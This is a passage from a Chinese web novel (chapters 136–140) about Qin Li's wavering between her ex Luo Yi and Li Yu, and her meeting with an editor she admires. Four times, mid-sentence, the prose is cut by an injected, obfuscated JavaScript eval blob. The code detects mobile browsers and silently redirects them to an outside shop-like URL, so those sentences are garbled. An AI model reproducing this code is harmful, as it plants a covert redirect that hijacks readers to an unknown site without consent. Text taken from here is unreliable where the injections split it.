等心仪的工作有所进展,她也会毫不犹豫离开,朝理想的方向奔去。 六月中旬,盛夏炎炎。 这个周日,秦离终于跟黎羽对上时间了。两人都身心俱疲,没有力气出去搞什么活动,就准备在黎羽家看看电影。 结果周五下午,工作组说需要某项目过去二十年的资料,而且要得很急,好像是涉及她们下周一和某些关键人员的谈话。 资料全部存放在日都的档案馆,而档案馆周末本来是不开门的。 秦离没招,跟科长求助,寄希望于科长跟工作组商量商量,不要那么着急。 科长关着门打了个几个电话后,又把秦离叫进办公室。 “小秦呐……” 一听她这语气,秦离就顿感不妙。 “我跟档案馆那边说好了,周末找个人配合我们工作。你辛苦下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370266|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天带人过去翻翻,把需要的资料全部复印回来。” “……好的。” 回到自己办公室,秦离就开始哀嚎,跟黎羽哭诉这个周末又泡汤了。 办公室其她人也知道了这个噩耗,纷纷投来同情的目光。 【啊……这也没办法,那之后再说吧。】 黎羽难得泄气,秦离更愧疚了。 【既然这样,我最近先回梦城总公司那边。】 【诶?要回去多久啊。】 【其实……南城这边的事已经差不多打结了。】 【这么快!之前不是说要半年吗?】 【嗯,提前结束了。而且总公司那边我长期不在的话,还是不太放心。】 【这样啊……】 所以黎羽留在南城的唯一理由,也只剩下自己了。 秦离心中不安,想着这次出差回来,无论如何要跟黎羽好好见一次面。 六月的日都已经格外燥热。周六,秦离带着两个小伙下飞机就直奔档案馆。 档案馆跟上级机关在一个院子里,配合工作的是位三十来岁的短发姐姐,说话很轻柔,即使是周末被薅来上班也没有怨言。 工作组需要的资料大部分年代都太早,没有录入电子档。短发姐姐了解情况后进了档案库,过了许久后,陆续推了几大车纸质资料出来,看得秦离眼前一黑。 看来,这个周末是彻底要泡在档案馆了。 三人合作,一盒一盒的翻,需要的就记录下来回头填单子复印。干到晚上九点多,终于翻完了三分之一。工作组最需要的一些资料找到了,还是算有些收获。 秦离和两个小伙满身疲惫,出门下台阶,正商量着晚上去吃什么。 这时,她突然听见有个熟悉又陌生的声音喊她:“秦离?” 秦离转过身看,是洛依。 一年多没见,她的身形更消瘦了,眉间的倦意也愈加明显。她的头发又剪短了,披下来刚好遮住后颈。她脖子上挂着红绳,穿着紫色的猫猫T恤,很眼熟,是曾经两人一起买的那件。 秦离愣在原地,不知道该说什么。她条件反射看向洛依的右手,没有戒指。抓着手,秦离突然庆幸早已将星星戒指取下。 “你什么时候过来的,是到机关出差吗?”洛依走过来,说话很自然,自然地好像她们是一直保持联系的朋友。 “今天到的,不是,最近有工作组检查,我到档案馆来查资料。你呢,怎么在这里?” “最近有个项目在机关做事,我已经过来一个多月了。你这次要呆多久呀?” “应该明天就能翻完,最晚后天一大早就要返程。” “这样哦。” 两人就站在院子里,面对面聊着。 院子里只有几棵大树,即使是夏日,绿意也不如南方那么茂盛,好像染上了一层灰,显得朦胧萧瑟。 话似乎一直讲不完,秦离瞥了眼身后百无聊赖的同事,回过神问洛依:“我还没吃饭,要一起吃宵夜吗?” “好呀。”洛依应得很快。 就好像,她已经等这句话等了很久了。 137. Chapter 137 这个点的日城,除了烧烤就是烤肉。秦离就近选了家烤肉店,菜一上桌,两个小伙就埋头猛吃,毫无存在感。 秦离和洛依坐在一边,这个桌子不大,大腿和大腿、手臂和手臂,很容易触碰。 秦离有些不自在,又不好避得太明显,显得太尴尬。 这时,手机屏幕亮了,是黎羽的消息。秦离和洛依同时望了过去。 秦离忙抓过手机。 【忙完了吗?】 【嗯,正和同事一起吃宵夜。】 【怎么看上去情绪不高的样子?】 黎羽很敏锐。平时秦离发消息语气总是很活泼,表情包不少,这会文字干巴巴的。 秦离现在心里五味杂陈,甚至不知道自己刚才为什么邀请洛依一起吃饭,也提不起精神卖萌。 【好累啊……今天下飞机就直奔档案馆,白天都没怎么吃东西,干到刚刚才结束。明天还要继续,弄完就得马上飞回去接着上班。哎……】 她说的都是事实,只是没提洛依而已。 黎羽果然不疑有她。 【辛苦了。那吃完早点回酒店休息吧,等回来,我们去放松放松,做你喜欢的事。】 【你最近都不走吗?】 发完这条,秦离心里唾弃自己,说的什么话。 黎羽倒是没觉得有什么不对。 【还是得看之后的安排。我就这两天可以歇一歇,之后又要忙起来了。】 【好哦,那等我回来!】 这时,洛依突然插话:“不吃东西吗?” 秦离抖了抖,手机险些掉到地上。 “吃的。”她边说着,边给黎羽发去最后一条消息:【那我先去吃了哦,早点吃完早点回去躺平,呜呜~】 【好^_^】 秦离用指腹摸了摸黎羽的头像,心虚地将手机放进衣兜里。 她抬头,发现面前的盘子里已经放着好几块五花肉了,条件反射转头看向洛依。 “刚刚看你一直没吃,怕等下就没有了,”洛依语气平淡,说话时没有看秦离,慢慢用夹子继续往烤盘上放肉。 “快吃吧,一会冷了。” “好哦。” 秦离夹肉蘸酱包生菜,看着洛依将新烤好的牛肉粒放到她盘子里。 好像一直是这样。 记忆里的许多片段在此刻浮现。 一直是这样。虽然洛依的年龄更小,但她更细心,在非社交的日常里,反而是她照顾秦离要多些。 那些片段里有太多笑容和亲密接触,此刻秦离想起来,心里更加难受。 桌上的气氛变得有些沉闷。 又过了很久,直到这顿饭已经快结束了,洛依突然问道:“刚才那个,是你现在的对象吗?” “……啊?” “就刚才跟你发消息的人。” “……不是。”秦离没有说谎,她和黎羽确实还没有正式复合。而不知为什么,看着洛依望向自己的眼神,一如既往的清澈,却多了丝忧伤,她又说不出那是黎羽,说不出两人的关系。 “这样啊……” 饭终于吃完了,秦离去酒店,洛依回单位,两人终于分道扬镳。 秦离本以为这就是结束了,然而晚上睡前,她收到了洛依的消息:【明天中午还要一起吃饭吗?】 秦离看着熟悉的头像,终究说不出拒绝的话。 【好。】 就只是再吃一顿饭吧。 周日又是忙忙碌碌的一天。 中午吃的是羊蝎子,秦离选的,两人说了更多的话,她也知道了更多洛依的事。 去年年底单位调级,正常来说她本来应该往上调的,但单位名额有限,她们那个幺蛾子傻叉科长也不知道主动去了解进度推荐自己人,最后调级名额给了另一个刚调过来的人。 洛依也是那种虽然嘴上骂骂咧咧,但自问工作绝对做得比其他人好的人。她在意的不是调级涨的那一点点钱,而是辛辛苦苦做事却没得到认可。 类似的吃力不讨好的事,之前发生了不少次,所以她才格外难受,索性主动申请借调到上级机关做项目,也是不想再在那个傻叉环境里呆着。 过去早就听洛依说过不少,秦离心里感慨万千,这就是所有人盯着那一亩三分地折腾,争得死去活来。 她并不是觉得洛依的争取不对。毕竟该自己得的,凭什么不争,况且女性就是应该有向上爬的猛劲,不该是什么岁月静好,人淡如菊的样子。 她只是觉得洛依值得更好的,只有这点东西回馈给她,远远不够,更不用说还要被一些完全不行的人给抢去。 或许是因为她始终没安心在体制内呆,总是以局外人的视角来看待,因此少了许多同事那种束缚。 她们院子的办公楼四四方方的,从中庭往上看,天空也被框成了四四方方的样子。许多人或许就在这四四方方的一小块里,看了一辈子的天。 她不想做这样的人。 但这是洛依的选择,秦离只能尊重。 “那之后怎么打算的呢?想办法调到机关吗?” 洛依摇头:“编制落不过来的。况且从春城到花城,我已经想办法调过一次。回去后,我也不跟他们玩了,到时候看看还有没有其它项目组,想办法进组。反正我是不想再干科里的活了。” 秦离对她的痛苦十分感同身受,这是只有身处体制内的人才能体会到的折磨。 “也好哦,总之能想办法调,就尽量调一下吧。” 这方面,秦离也给不了什么建议,反倒是洛依家有些关系,能想的办法更多,也轮不到自己操心。 “说起来,”洛依话题一转,笑着,“我这两天还报了个南城的项目,只是专业不完全匹配,还不知道结果如何呢。” 她说起那个项目,秦离心里突突直跳。 那个项目她也知道,明知道不该多想的,第一反应仍旧是,如果洛依来南城了,那曾经无解的异地问题便不是问题了。 “是交流,还是借调过来?”秦离忍不住问。 “交流,但项目结束会怎么安排还不确定。” 秦离悲哀地发现,她心里难以控制地升起一股期待。特别是看着洛依一如过去的可爱面庞,她无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370267|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像没有看见她时那样,果断地做出决定。 她控制不了自己的嘴。 “那挺好的,定了的话跟我说吧。” “好唔。” 话题慢慢转到秦离这边了。 “你呢,最近过得怎么样?”洛依不着痕迹地提起,“我看你朋友圈,生活还挺多姿多彩哦,基本每周都有活动。” 秦离诧异于她居然有关注。毕竟她从来不发朋友圈,也没给自己点赞评论过。 “嗯,现在状态整体还不错,休息时间就干脆多出去社交社交。” “你还是这样,活力满满,精力无限啊。”洛依感慨着,声音丧丧的,“我就不行了。之前我也想着是不是该社交社交,认识点新的人,就加了个全女的游戏群,结果里面根本没人正儿八经约游戏,全是小圈子的人在聊骚,恶心死了,跟男的一样。” “还有上次跟朋友去拉吧,怎么都是一群人坐在那种挤挤的小椅子上,围着一圈做各种大尺度的游戏,然后就有人突然站起来跳舞了。天呐……老板还问我要不要一起玩,问了我两次,我疯狂摇头拒绝。太可怕了!” 洛依说话还是那么有趣,说得活灵活现,听得秦离忍不住想笑。 “可能是你加的社群不太合适,换个吧。”秦离知道有些全女社群是比较乌烟瘴气,“一般选户外活动会好些,大家都一心参加活动。” 或者说太一心了,都已经到了沉迷活动忽视社交的程度了。什么徒步啊骑行啊,所有人哼哧哼哧开动,完全不交流的。 洛依疯狂摇头:“算了算了,我不想再试了。” 两次外向换来终身内向。 洛依一副已老实,求放过的表情,秦离看着笑得更厉害了。 洛依投来控诉的目光,表情有些小幽怨,这下秦离完全憋不住爆笑出来。 “抱歉抱歉,”秦离举手投降,“其实好多拉吧那个氛围,我也遭不住。之前有朋友开了新店,我们去捧场,也是旁边好多人挤在一起玩游戏,然后我和去的其她朋友就缩在隔壁桌打了一晚上的uno。现在还经常在朋友圈刷到朋友发的店里每天的现场。” 其实,她还是更喜欢去橘色这种类型的酒吧。 “是吗,给我看看~”洛依十分好奇。 秦离将手机递过来,洛依凑近,发尾在她的手背轻轻扫过。 神经也轻轻颤了下。 洛依点了好几个视频,兴奋道:“就是这种!对着手机时间和蓝色啊橘色啊的灯光氛围的店里拍照,然后就是各种突然就开始跳舞的人!” “天啊,一模一样。为什么要在这里跳舞,还要对着陌生人跳啊,还有她们挤成一团,灯也暗得要死,就不觉得难受吗?” 秦离笑得不行。她倒是理解为什么很多人参加这样的活动,但听洛依说话的语气依旧很想笑。 这顿饭吃得比昨晚的愉快多了,但也仅此而已。 周日的进度比预想的快,晚上秦离就坐上了回南城的飞机。 她本以为这次偶遇只是一段插曲,却没想到这之后,像是启动了什么按钮,洛依开始时不时给她发消息了。 138. Chapter 138 最开始只是工作相关,后来有越来越多日常的内容。洛依看到的东西,遭遇的人和事,还有在网上刷到的有趣的博文,都发给了秦离 秦离都应着。果然如她曾经想的那样,只要洛依主动找她,她总是无法拒绝她,让她难过。 至少目前在聊天这件事上,无法拒绝。 配合审计的工作依旧很忙碌,秦离也会在洛依面前多番抱怨。同在体制内,洛依总能理解那些看起来稀松平常但无比折磨人的小事。 一时间,两人发消息的频率都快赶上曾经热恋期了。 秦离知道这样做不合适,只能庆幸最近没有和黎羽见面,对方也没有从平时的消息中发现自己摇摆的情绪。 在和洛依有关的事上,她总是过分小心翼翼,做哪怕一个细小的决定都犹豫不定。 盒子里的戒指和照片也一直放在那里,没有处理。 七月的盛夏,树干上的蝉鸣响彻整个院子,吵得人心烦意乱。 两人不知怎么说到年假的事。洛依的假期原计划是在八月中旬,也不远了。 洛依说到去年是和田薇一起出去旅行的。 去年,已经是两人分开之后了啊…… 即使已经分开许久,即使觉得感觉已经很淡了,但听到这个名字,秦离还是觉得心里不太舒服。 【不过她今年忙得飞起,说是年假估计泡汤。哎,我朋友本来就不多嘛,大部分结婚的结婚,恋爱的恋爱,要约个人出来太难了。算了,我看我还是缩在宿舍里打游戏吧。】 洛依看起来情绪不太高。即使是再i的人,也有社交需求,也会害怕孤独。 秦离心软了。她算了算时间,审计应该八月初就走了,倒是能把年假安排在那个时间。 但…… 【对了,你年假在什么时候啊?】 秦离心里突突直跳:【还没定下来。】 【啊,你们年初不做休假计划的吗?】 【做是做,但工作忙起来,完全顾不上这个计划了,大家实际都是趁着空闲的时候休。】 【那你们八月中旬工作忙吗?】 【还好,那个时候审计就走了,刚好闲下来。】 两人就绕着这个话题打擦边球,似乎双方都心知肚明想说什么,但都没说出口。 秦离受不了这种隔靴搔痒,似是而非的感觉,终究还是先开口了:【那八月中旬要一起出去玩吗,我应该有时间。】 【可以呀。】洛依回得很快。 大刀落下,秦离心里总算舒坦点了。 关于要去哪里,两人提议了筑城、洪城和兴城。筑城在两人中间,洪城离洛依近些,兴城离秦离近些。 现在是暑假期间,机票贵得吓人,动车高铁又还没开始发售。 按秦离的性格,除了感情的事,她下决定总是很快,并且绝不后悔。但现在顾及洛依,讨论了半天,最终还是没定下来。 最后,秦离提议:【要不,等高铁开票了再看看?】 【好唔,那到时候再说吧。】 这个话题告一段落,秦离总算松了口气。 过了两天,黎羽从梦城回来了。 她下飞机第一件事就是告诉秦离:【怎么样,最近还忙吗?】 最近进入审计工作收尾阶段了,反倒没有前段时间那么忙。工作组有时候周六也走得早,周末空闲了许多。 【最近还好,你呢,有空吗?】 【有,那这周末要见面吗?】 【好![兔兔飞奔].gif】 考虑秦离最近太累了,黎羽买了很多火锅食材,准备就在自己家吃火锅看电影。 下地铁后,秦离买了好几斤荔枝,她记得黎羽喜欢吃这个。 到黎羽家楼下,秦离才发现这栋楼的电梯坏了。没办法,她只能顺着楼梯一层层爬,气喘吁吁,塑料袋的带子在手指上勒出很深的红痕。 好不容易爬上来,秦离发现电梯居然又好了,心情复杂,只能怪自己运气不好。 黎羽开门时,看见的就是秦离阴晴不定的表情。 “怎么了,看起来不太高兴的样子。” 快两个月没有见面了,迎着黎羽关心的目光,秦离才后知后觉,她的神经原来一直紧绷,而这一刻才终于松下来。 她鼻头微酸,意识到原来自己很想黎羽。 塑料袋落在了地上,秦离扑过去,紧紧抱住了黎羽。 黎羽还拿着锅铲,张开手,害怕把油弄在她身上。 “怎么了,是工作上受委屈了吗?”她的声音很轻柔。 秦离只是摇头,黎羽无奈,只能由她抱着。 两人在门口站了很久,直到一股奇怪的味道传过来,黎羽大喊:“我的锅!” 两人兵荒马乱朝厨房赶去。 还好,最终锅被及时拯救,底料没有熬变味。 今天选的依旧是一部爆米花电影,不用动脑子。 火锅不很辣,但是很好吃。黎羽调了两杯酒,酸酸甜甜的,很好喝,打着光也很好看。 吃饱喝足,秦离斜靠在沙发上,微醺。 黎羽也没急着收东西,眼睛盯着幕布,注意力多半都滑到秦离身上。 秦离的手机一直在震动,她没注意,黎羽看过去,发现是同一个人发来的,名字……有点眼熟。 黎羽眼睛微眯。 “小乖,最近有遇到什么事吗?”黎羽状似随意问起,“看你情绪不是很好的样子。” 酒精上头,秦离的反应也慢半拍:“唔……没有啊……” “那,是有遇到什么人吗?” “……” 秦离惊了下,酒醒了一大半。这时,她才注意到一直在震动的手机,还有洛依发来的许多消息。 黎羽明显看见了。 秦离曾经给她讲过这些年的经历,自然不可避免提到洛依。当时黎羽还开玩笑说秦离的偏好变了,开始喜欢小妹妹了。 但现在不是开玩笑的时候了。 空气静默,电影的声音变得吵闹无比。 秦离不敢看黎羽。 严格来说,两人之间还没有任何关系,也没有任何承诺。但雨夜的那个吻,秦离主动的吻,明显是某种默契的暗示。 其实秦离并没有做什么,但就是有种背叛了黎羽的愧疚感,让她心慌颤抖。 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370268|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽盯着她看了许久,秦离如同火烧般难受。 “所以这是你的决定吗?” “……我不知道。”秦离的脑子一片混乱,不知道该怎么办。 这次,黎羽再没有心软放过她。 “我相信你没有骗我,也相信你不是脚踏两只船的人。但秦离,我说过我不是什么无限等待的痴情人。” “而且,半年时间已经到了。” 秦离怅然。 从二月到现在,其实还有半个来月的时间,但确实是快到了。 黎羽第一次表现出咄咄逼人的态度:“我不想等了,现在就告诉我你的答案吧。” 秦离无法责怪她的“反悔”,也无法回答,只能继续保持沉默。 于是黎羽收回了目光,收回了所有给予她的温柔和优待。她没有赶秦离走,只是站起来,默默收拾碗筷去了厨房。 空气流动地很慢,变得难以呼吸。 秦离无法再厚着脸皮继续这样呆着了。她拎着包,站在门口看了很久,最终还是道了声“抱歉”,夺门而出。 下楼的时候,电梯又坏了,她绕着楼梯一圈圈走着,头昏脑涨,泪水也止不住地往下流。 到家后,秦离倒在床上,无声痛哭。 她知道,只要自己给出肯定的答案,只要自己坚定选择了黎羽,黎羽会回以同样的坚定,等待她就是美好的爱情,是她理想的生活。 但为什么无法说出口,为什么……就是做不到呢…… 秦离的目光落在桌上的盒子上,心里其实很清楚答案。 她是选择了洛依么…… 她也不知道…… 手机又响了两声,秦离知道是洛依的消息,但她现在实在没有力气去应对,将自己埋进被子深处,隔绝掉一切。 心中再痛苦,还是要起来上班的。 早上对着镜子里红肿的双眼,秦离处理无能,只能顶着领导和同事疑惑和关心的问候,尴尬解释说昨天看了场电影,太感人了。 大家心照不宣,没有深究真实原因。 工作间隙,秦离给洛依回了消息,说昨天和朋友聚会喝酒,没有顾得上看手机。 洛依没有怪她,只是开着玩笑:【昨晚出去活动到那么晚,今天还要爬起来上班,还得是你啊,精力旺盛[哆啦A梦式点赞.gjf]】 秦离也笑哈哈地给她回着表情包。 这之后,黎羽从秦离的世界里消失了。 她不再给秦离发消息,朋友圈也没有任何信息。 秦离没脸再去找她,连橘色都不敢去,只能旁敲侧击问许平平最近有没有在店里看到黎羽。 “啊,我最近打算戒酒,已经好久没去橘色了。不是,你要找你对象,怎么还要通过我呀?” 年初,星期六党小伙伴都知道她和黎羽恢复联系,经常出去玩的事了,都默认她们已经复合。小伙伴们都体贴地没有嘲笑她又把自己说的话吞回去了。 这会,秦离不好意思说出她做的事,只一个劲地说:“你去看看吧,帮我问问店里的人,不要说是我问的。” 许平平以为两人吵架了,拿她没招,只能替她跑了这一趟。 139. Chapter 139 当天,许平平就带回了最新消息。 “刚好另一个老板在,我听她说,黎羽回梦城了,之后都不会到店里来,说她本身也只是投资,不参与店里具体经营。” 真正的老板大头遗憾地告诉她,以后大家都没机会喝到黎羽的调酒了。 许平平觉得很可惜,但更多的是疑惑。 “怎么回事啊,她回梦城没跟你说吗?” 秦离无法,只得将最近发生的事,和黎羽、洛依之间的种种都讲了。 “……所以你还是选了洛依啊?不过你们的异地问题怎么解决?” “……没有选择。” 秦离也说不清楚心里的纠结,只清楚目前自己并没有找洛依复合的打算。至于洛依主动提出…… 她不确定洛依会不会主动提出,更不确定如果真有那个时候,自己是否会拒绝。 许平平这下是真看不懂了。 “算了算了,爱情这种事我果然是搞不明白。为了你,今天破戒了!走,我们另外找家店喝酒去!” 日子好像又回到了从前。 工作虽然没完全闲下来,但没前阵子那么忙了。然而秦离没有精力再准备换工作的事,只能勉强维持生活运转,进度被搁置。 休息时间,她大多跟许平平出去喝酒,跟星期六党小伙伴们吃饭聚会,还有就是和洛依发消息聊天,偶尔一起打游戏看电影。 生活就这样一天天过着,今天、明天、后天……再之后的未来,好像都没什么区别。 很快就到七月底了。 秦离跟单位提前报备了八月中旬休假的事,也跟家里人说了。 “那有撒子安排,要去哪里玩蛮?” 老妈声音有些高昂,每年她们一家三口都要至少出去家庭旅行一次。 秦离不忍心打破老妈的期待,但又不得不说:“我跟朋友有约了。” “好嘛……”老妈强掩失落,“那你按你的安排来,不用考虑我们。” 秦离心里更愧疚了。 但她已经答应洛依了。 虽然洛依还没提到买票和定酒店的事。 高铁订票开始时间是明天,两人甚至还没商量好要去哪里玩。 秦离不想催她,影响她的决定,更不想表现得自己多么迫不及待。 如果洛依忘记了,她就纯当在家休息了。写写文,或者继续改作品集投简历,也好。 又过了两天,洛依才终于提起这件事:【我们到底去哪里玩啊?】 【都行,看你吧。】 洛依去查了查:【我去,到兴城的机票也太贵了,要一千多。】 【暑假嘛。】 秦离这边去兴城倒是挺快,高铁四个小时出头,只要两百来块钱。她刚刚看了下,还有票。 不过因为看比赛的缘故,这两年她已经去兴城很多次,其实没什么新鲜感了。 但主要还是看洛依的决定。 【兴城太贵了,主要是不划算啊。要不我们去洪城?】 洪城的历史名迹也很多,是洛依感兴趣的,离花城也很近。 秦离查了查,南城到洪城的机票很贵,高铁倒是还有票,但要坐九个小时,太累了。 如果是曾经,秦离便同意了。她总是希望洛依得偿所愿,能开心的。 但现在,或许是最近太累了,她实在没有精力折腾。 【要不再看看其它地方吧,洪城的话我高铁时间太久了,不太想去。】 【好唔。】 两人又看了半天,期间秦离还开玩笑问她要不要来南城来玩得了。不过花城飞南城的机票也很贵。 最后,还是定了跟两人距离都适中的筑城。 只是,南城和花城到筑城的高铁票都没有了,秦离提议:【我们候补吧,能候补到当然最好,补不到的话再说。】 【好吧。[奶茶鼠发呆.gif]】 姑且算是确定下来了,秦离终于松了口气。 过了两天,秦离这边候补到了,毕竟南城到筑城的班次还是很多的。洛依那边却一直没有进展。 因为这件事,秦离的心一直被吊着,总不踏实,连情绪都变得焦躁。 期间,老妈问过她:“咋样,你哪天出发,高铁还是飞机喃?” “……还没决定好。” “嗯?还没订票蛮?” “还在候补高铁。” 老妈咂舌:“你们咋个回事哦,出切耍也不晓得提前订票。” 秦离哑口无言,心里更烦躁了。 期间,秦离时不时问洛依候补到没,问得自己都烦。 临近休假前两天,洛依终于说着:【还是没有音信,哎……这次确实不太合适,要不,我们中秋或者国庆?】 【好。】 靴子暂时落地,明明没做什么事,秦离却觉得疲惫不堪。 其实,如果真的想去的话,怎么都能找到办法的。曾经秦离去外地看比赛的时候,因为目的地台风天,前一天晚上十点,她才被通知第二天早上的航班取消了。为了第二天下午能顺利赶过去,她连夜候补高铁动车,最后硬生生换了两次车,才终于在下午四点赶到了场馆。 最后主队也夺冠了,是个美好的结局。 因此只要想去的心足够迫切的话,怎么都有办法的。 但秦离不会这样要求洛依的,她也不想对方太劳累。 休假期间,秦离哪里也没有去,索性回老家,跟妈爸去湖边钓了一周的鱼。 每天去湖边扔钩发呆,遛遛狗吹吹风晒晒太阳,和家里人说说话,连心情也平静了很多。 最后算下来,一周加起来竟然也钓了小半网鱼,收获不错。 至于旅行的事,之后吧,之后再说。中秋和国庆也不是很远。 然而,可能老天就是要和她们作对。 八月底的时候,洛依接到通知,要去商城大学培训。 【好烦,要去一个月。我们那年入职的应该都要去,说是分了两批。你什么时候去啊?】 秦离还不知道这件事,问了单位人力,知道自己是第二批,国庆之后去。 而洛依是第一批。 她本该是第二批的。她们那年入职的基本都在第二批,但洛依单位第一批去的人有要紧工作,领导就调换顺序,安排她先去。 【你们都是第二批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370269|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,田薇和谢依霖也是。我现在去的话,认识的人全都不在,无语死了。】 秦离也没辙,心里惋惜。 要是她们同一批去的话,就和三年前一样。在同样的地方,还是她和洛依。 秦离总觉得这是个好机会,但现在都成了空谈。 连带本来说好的旅行。 或许是冥冥之中自有安排。 洛依没有再提再度延期的两人旅行之后要怎么安排,秦离也没有提。 通知来得很急,当周洛依就收拾东西去了商城。 培训安排得很满,周一到周六,从早到晚。 一开始,洛依还依旧和秦离保持着之前的聊天频率。到后面,或许是上课太累,也或许是认识了新朋友——毕竟这种环境下,洛依总是很受欢迎,被大家喜爱和照顾,就像她们初识时那样——洛依主动发消息的次数在逐渐减少。 秦离没有太打扰她。 爱情上一片荒芜,秦离就把重点全部投向自己的人生和事业上。 最近撞钟的业务不是很繁重,休息时间,秦离便去参加些纯文学性质的沙龙。 其实还有很多其他活动可以选。但大部分事情,她都在过去半年里和黎羽一起做过了。每当到了类似的场景,做着类似的事,她总会又一次想起黎羽,心上遭受又一次撕裂,难受得她喘不过气来。 最终,她只能狼狈逃走。 这周六是一个国内新晋科幻作家的新书发布会,地点在南边一个比较偏的独立书店。 现在新人作家层出不穷,秦离没有听过这个名字。她就是随便选了个时间上合适的,想在纯粹的文学环境里净化下心灵,放空大脑什么都不思考。 到书店时,秦离意外发现来的观众还很多,场内已经坐了大半。 她提前买下书,挑了个角落的位置,边等开场边翻了几页,承认确实是个很有趣的故事。 开场后,台上人陆续坐下,主持人引入话题后,新人作家开始介绍新书,和观众们交流。 然而,秦离无法完全集中精力去听,她的目光放在台上另一个人身上。 楚老师——那个大学时曾有过一面之缘,年龄和她妈妈差不多大的编辑老师。 过去十年了,楚老师的额头多了几道皱纹,头上也添了不少白头发。但她依旧神采奕奕,眼里依旧有光,有对自己所做事业的热爱。 她就是秦离最想成为的模样。 楚老师是新人作家的编辑,因此一并出席了活动。她说话风趣幽默却又不喧宾夺主,很容易勾起大家的对作家和新书的兴趣,又不经意间铺垫了更多。 秦离听到隔壁女生小声说:“听上去她们主推这个系列都还不错耶,回头看看,要是好看可以考虑买本纸质版收藏。” 秦离查了查楚老师现在所在的出版社,是近些年新成立的,跟十年前她所在的知名出版社不能比。不过这家近些年做了很多独立主题系列,科幻的奇幻的非虚构的,也引进了不少国外的作品,推出了一些新人作家,看上去很有自己的想法。 不知道对方还记不记得自己,秦离心情澎湃,迫不及待想跟活动结束,找机会跟她好好聊一聊。 140. Chapter 140 活动结束,还有许多读者围着楚老师和新人作者,兴奋地交流着,请她们写to签。 秦离不好意思打扰她们,一直等在旁边,直到所有人都走了,才上前:“楚老师,您好,能耽误您点时间吗?” 楚老师看见她愣了下,片刻后反应过来,笑着回应:“是你呀,E大的……我记得是叫秦离是吗?” 秦离惊喜:“老师您还记得我?” “当然,我记忆力可是很好的,”楚老师俏皮地眨眨眼,“而且你是个很有想法的孩子,我印象很深刻。” 秦离受宠若惊。 楚老师依旧跟十年前一样,对晚辈充满关爱和宽容。在她面前,秦离依旧可以像个孩子那样迷茫,说着不成熟的幼稚话。 见秦离的话不是一时半会能说完的,楚老师先跟作家和工作人员打了招呼,才对她道:“这里要收拾了,我们找个地方坐坐吧。不过可能不能太久,家里人在等我回去吃晚饭。” 楚老师和配偶住在南城,女儿在日城打拼,她们都有各自的生活。 “好的好的,能有时间和您聊聊已经很庆幸了。” 两人在一家咖啡厅坐着。秦离快速说了自己的近况和苦恼,以及十年了依旧存在的迷茫。 “其实你现在已经做的很好了。”楚老师不吝惜夸奖,“有一份难得的世俗意义上的好工作,做的也很好,得到了周围人的认可。而且你也没有丢掉自己的爱好,还在坚持读书和写作,已经比绝大多数同龄人都厉害了。” 秦离对自己从不缺少自信和肯定,但听到这种大多数人都会说的话,还是有些失望。 这时,楚老师语气变得严肃:“你要离开这样的舒适区,做好准备了吗?” 秦离犹豫了下,点点头。 “哦?那你想过些什么呢,都说说。” 秦离已经不像十年前那样天真幼稚了。她确实好好考虑过,放弃现在这份稳定的世人称赞的好工作,进入文化行业成为全职作者或者编辑,做真正想做的事情。这其中,她能想象到的大概有许多困难。 经济收入的下滑。全职作者要达到稳定收入的程度,不完全看自己的努力,完全依托作品的受欢迎程度和实时收益,朝不保夕很不稳定。编辑的话,工资大概就是基本及格线,连十多年的资深老编辑回南城大概一个月也只能拿六七千块钱吧。 执行的困难。虽然她现在也有些读者,但兼职变全职,是要秉持一颗把它当职业的心,自己给自己当老板,每天每周每月做出计划并严格执行,同时还要承担即使“打卡上班”也可能“不发工资”的残酷现实,如果做不到其实就是拿全职的借口来掩饰家里蹲颓废度日的现实。编辑的话,在这个疫情后竞争日益激烈的世界,她这个年龄作为纯新人入行,连摸到入门门槛都困难。 